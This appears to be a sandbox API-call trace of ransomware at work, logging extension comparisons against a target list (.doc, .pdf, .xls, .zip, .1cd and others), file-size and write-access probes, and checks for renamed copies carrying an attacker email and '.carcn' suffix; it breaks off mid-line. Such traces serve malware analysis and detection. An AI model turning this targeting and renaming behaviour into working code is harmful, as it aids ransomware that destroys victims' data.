1 [0163.436] lstrlenW (lpString=".xlsx") returned 5 [0163.436] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0163.436] lstrlenW (lpString=".ppt") returned 4 [0163.436] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.436] lstrlenW (lpString=".zip") returned 4 [0163.436] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.436] lstrlenW (lpString=".rar") returned 4 [0163.436] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.436] lstrlenW (lpString=".bz2") returned 4 [0163.436] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.436] lstrlenW (lpString=".7z") returned 3 [0163.436] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.436] lstrlenW (lpString=".dbf") returned 4 [0163.436] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.436] lstrlenW (lpString=".1cd") returned 4 [0163.436] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.437] lstrlenW (lpString=".jpg") returned 4 [0163.437] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.437] lstrlenW (lpString=".doc") returned 4 [0163.437] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.437] lstrlenW (lpString=".docx") returned 5 [0163.437] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0163.437] lstrlenW (lpString=".pdf") returned 4 [0163.437] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.437] lstrlenW (lpString=".xls") returned 4 [0163.437] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.437] lstrlenW (lpString=".xlsx") returned 5 [0163.437] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0163.437] lstrlenW (lpString=".ppt") returned 4 [0163.437] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.437] lstrlenW (lpString=".zip") returned 4 [0163.437] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.437] lstrlenW (lpString=".rar") returned 4 [0163.437] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.437] lstrlenW (lpString=".bz2") returned 4 [0163.437] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.437] lstrlenW (lpString=".7z") returned 3 [0163.437] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.437] lstrlenW (lpString=".dbf") returned 4 [0163.437] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.437] lstrlenW (lpString=".1cd") returned 4 [0163.437] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0163.437] lstrlenW (lpString=".jpg") returned 4 [0163.437] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.438] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0163.438] lstrlenW (lpString="boxed-delete.avi") returned 16 [0163.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0163.439] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=48936) returned 1 [0163.439] CloseHandle (hObject=0x314) returned 1 [0163.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0163.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.440] lstrlenW (lpString=".doc") returned 4 [0163.440] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.440] lstrlenW (lpString=".docx") returned 5 [0163.440] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0163.440] lstrlenW (lpString=".pdf") returned 4 [0163.440] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.440] lstrlenW (lpString=".xls") returned 4 [0163.440] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.440] lstrlenW (lpString=".xlsx") returned 5 [0163.440] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0163.440] lstrlenW (lpString=".ppt") returned 4 [0163.440] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.440] lstrlenW (lpString=".zip") returned 4 [0163.440] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.440] lstrlenW (lpString=".rar") returned 4 [0163.440] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.440] lstrlenW (lpString=".bz2") returned 4 [0163.440] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.440] lstrlenW (lpString=".7z") returned 3 [0163.440] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.440] lstrlenW (lpString=".dbf") returned 4 [0163.440] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.440] lstrlenW (lpString=".1cd") returned 4 [0163.440] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.441] lstrlenW (lpString=".jpg") returned 4 [0163.441] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.441] lstrlenW (lpString=".doc") returned 4 [0163.441] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.441] lstrlenW (lpString=".docx") returned 5 [0163.441] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0163.441] lstrlenW (lpString=".pdf") returned 4 [0163.441] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.441] lstrlenW (lpString=".xls") returned 4 [0163.441] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.441] lstrlenW (lpString=".xlsx") returned 5 [0163.441] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0163.441] lstrlenW (lpString=".ppt") returned 4 [0163.441] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.441] lstrlenW (lpString=".zip") returned 4 [0163.441] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.441] lstrlenW (lpString=".rar") returned 4 [0163.441] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.441] lstrlenW (lpString=".bz2") returned 4 [0163.441] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.442] lstrlenW (lpString=".7z") returned 3 [0163.442] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.442] lstrlenW (lpString=".dbf") returned 4 [0163.442] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.442] lstrlenW (lpString=".1cd") returned 4 [0163.442] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0163.442] lstrlenW (lpString=".jpg") returned 4 [0163.442] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.442] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0163.442] lstrlenW (lpString="boxed-join.avi") returned 14 [0163.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.687] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=46622) returned 1 [0163.687] CloseHandle (hObject=0x388) returned 1 [0163.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0163.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.688] lstrlenW (lpString=".doc") returned 4 [0163.688] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.688] lstrlenW (lpString=".docx") returned 5 [0163.688] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0163.688] lstrlenW (lpString=".pdf") returned 4 [0163.688] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.688] lstrlenW (lpString=".xls") returned 4 [0163.688] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.688] lstrlenW (lpString=".xlsx") returned 5 [0163.688] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0163.688] lstrlenW (lpString=".ppt") returned 4 [0163.688] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.688] lstrlenW (lpString=".zip") returned 4 [0163.688] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.688] lstrlenW (lpString=".rar") returned 4 [0163.689] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.689] lstrlenW (lpString=".bz2") returned 4 [0163.689] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.689] lstrlenW (lpString=".7z") returned 3 [0163.689] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.689] lstrlenW (lpString=".dbf") returned 4 [0163.689] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.689] lstrlenW (lpString=".1cd") returned 4 [0163.689] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.689] lstrlenW (lpString=".jpg") returned 4 [0163.689] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.689] lstrlenW (lpString=".doc") returned 4 [0163.689] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.689] lstrlenW (lpString=".docx") returned 5 [0163.689] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0163.689] lstrlenW (lpString=".pdf") returned 4 [0163.689] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.689] lstrlenW (lpString=".xls") returned 4 [0163.689] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.689] lstrlenW (lpString=".xlsx") returned 5 [0163.689] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0163.689] lstrlenW (lpString=".ppt") returned 4 [0163.690] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.690] lstrlenW (lpString=".zip") returned 4 [0163.690] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.690] lstrlenW (lpString=".rar") returned 4 [0163.690] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.690] lstrlenW (lpString=".bz2") returned 4 [0163.690] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.690] lstrlenW (lpString=".7z") returned 3 [0163.690] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.690] lstrlenW (lpString=".dbf") returned 4 [0163.690] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.690] lstrlenW (lpString=".1cd") returned 4 [0163.690] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0163.690] lstrlenW (lpString=".jpg") returned 4 [0163.690] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.690] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0163.690] lstrlenW (lpString="join.avi") returned 8 [0163.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.840] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=199994) returned 1 [0163.840] CloseHandle (hObject=0x388) returned 1 [0163.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0163.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.840] lstrlenW (lpString=".doc") returned 4 [0163.840] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.840] lstrlenW (lpString=".docx") returned 5 [0163.840] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0163.840] lstrlenW (lpString=".pdf") returned 4 [0163.840] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.840] lstrlenW (lpString=".xls") returned 4 [0163.840] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.840] lstrlenW (lpString=".xlsx") returned 5 [0163.840] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0163.840] lstrlenW (lpString=".ppt") returned 4 [0163.841] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.841] lstrlenW (lpString=".zip") returned 4 [0163.841] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.841] lstrlenW (lpString=".rar") returned 4 [0163.841] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.841] lstrlenW (lpString=".bz2") returned 4 [0163.841] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.841] lstrlenW (lpString=".7z") returned 3 [0163.841] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.841] lstrlenW (lpString=".dbf") returned 4 [0163.841] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.841] lstrlenW (lpString=".1cd") returned 4 [0163.841] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.841] lstrlenW (lpString=".jpg") returned 4 [0163.841] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.841] lstrlenW (lpString=".doc") returned 4 [0163.841] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.841] lstrlenW (lpString=".docx") returned 5 [0163.841] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0163.841] lstrlenW (lpString=".pdf") returned 4 [0163.841] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.841] lstrlenW (lpString=".xls") returned 4 [0163.841] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.841] lstrlenW (lpString=".xlsx") returned 5 [0163.842] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0163.842] lstrlenW (lpString=".ppt") returned 4 [0163.842] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.842] lstrlenW (lpString=".zip") returned 4 [0163.842] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.842] lstrlenW (lpString=".rar") returned 4 [0163.842] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.842] lstrlenW (lpString=".bz2") returned 4 [0163.842] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.842] lstrlenW (lpString=".7z") returned 3 [0163.842] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.842] lstrlenW (lpString=".dbf") returned 4 [0163.842] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.842] lstrlenW (lpString=".1cd") returned 4 [0163.842] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0163.842] lstrlenW (lpString=".jpg") returned 4 [0163.842] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.842] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0163.842] lstrlenW (lpString="auxbase.xml") returned 11 [0163.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0163.906] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1434) returned 1 [0163.906] CloseHandle (hObject=0x310) returned 1 [0163.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0163.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.906] lstrlenW (lpString=".doc") returned 4 [0163.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.906] lstrlenW (lpString=".docx") returned 5 [0163.906] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0163.906] lstrlenW (lpString=".pdf") returned 4 [0163.906] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.906] lstrlenW (lpString=".xls") returned 4 [0163.906] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.906] lstrlenW (lpString=".xlsx") returned 5 [0163.906] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0163.906] lstrlenW (lpString=".ppt") returned 4 [0163.906] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.906] lstrlenW (lpString=".zip") returned 4 [0163.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.907] lstrlenW (lpString=".rar") returned 4 [0163.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.907] lstrlenW (lpString=".bz2") returned 4 [0163.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.907] lstrlenW (lpString=".7z") returned 3 [0163.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.907] lstrlenW (lpString=".dbf") returned 4 [0163.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.907] lstrlenW (lpString=".1cd") returned 4 [0163.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.907] lstrlenW (lpString=".jpg") returned 4 [0163.907] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.907] lstrlenW (lpString=".doc") returned 4 [0163.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.907] lstrlenW (lpString=".docx") returned 5 [0163.907] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0163.907] lstrlenW (lpString=".pdf") returned 4 [0163.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.907] lstrlenW (lpString=".xls") returned 4 [0163.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.907] lstrlenW (lpString=".xlsx") returned 5 [0163.907] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0163.907] lstrlenW (lpString=".ppt") returned 4 [0163.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.907] lstrlenW (lpString=".zip") returned 4 [0163.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.907] lstrlenW (lpString=".rar") returned 4 [0163.908] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.908] lstrlenW (lpString=".bz2") returned 4 [0163.908] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.908] lstrlenW (lpString=".7z") returned 3 [0163.908] 